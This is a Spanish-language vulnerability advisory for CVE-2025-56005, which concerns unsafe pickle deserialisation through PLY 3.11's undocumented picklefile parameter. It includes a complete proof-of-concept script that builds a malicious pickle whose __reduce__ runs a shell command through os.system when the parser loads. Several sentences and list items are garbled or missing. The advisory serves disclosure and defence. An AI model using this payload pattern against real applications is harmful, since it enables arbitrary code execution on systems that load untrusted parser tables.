
RCE no documentado en PLY mediante el parámetro `picklefile`
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
Una característica no documentada e insegura en la versión distribuida en PyPI de PLY 3.11 permite la ejecución de código arbitrario cuando se invoca la función yacc() con el parámetro picklefile.
El parámetro picklefile hace que PLY deserialice un archivo .pkl usando pickle.load() de Python sin validación. Debido a que el módulo de Python admite la ejecución de código arbitrario durante la deserialización (por ejemplo, mediante ), un atacante que pueda controlar el archivo pickle suministrado puede ejecutar código arbitrario durante la inicialización del parser.
pickle__reduce__()Este parámetro no está documentado en la documentación oficial de PLY ni en el repositorio de GitHub, sin embargo, está activo en la versión de PyPI.
Si un atacante puede controlar, reemplazar o influir en el archivo .pkl pasado a yacc(picklefile=...), puede lograr:
Esto puede afectar a aplicaciones que cargan tablas de parser desde:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() en ply/yacc.pyEsta vulnerabilidad presenta un riesgo elevado debido a su naturaleza sigilosa y su potencial de persistencia.
El parámetro picklefile no está documentado en la documentación oficial de PLY ni en el repositorio de GitHub. Sin embargo, la versión distribuida en PyPI de PLY 3.11 incluye esta funcionalidad y procesa el archivo suministrado usando pickle.load() sin validación.
Debido a que el módulo pickle de Python permite la ejecución de código incrustado durante la deserialización, un archivo pickle malicioso puede ejecutar código arbitrario durante la configuración del parser, antes de que se invoque cualquier lógica de análisis.
En el momento de escribir esto, el mantenedor no ha reconocido públicamente este comportamiento.
Esta funcionalidad puede ser abusada para introducir puertas traseras persistentes, particularmente en entornos donde los archivos de tablas de parser son:
Dada la falta de documentación, la ruta de ejecución silenciosa y el alto impacto de la deserialización insegura, se justifica la asignación de un CVE para crear conciencia y proteger a los usuarios posteriores.
Esta prueba de concepto demuestra la ejecución de código arbitrario cuando se suministra un archivo pickle malicioso a través del parámetro no documentado picklefile.
La PoC:
Cuando se invoca yacc(picklefile='exploit.pkl'), se ejecuta código arbitrario durante la inicialización del parser.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile con archivos no confiables o con permisos de escritura externos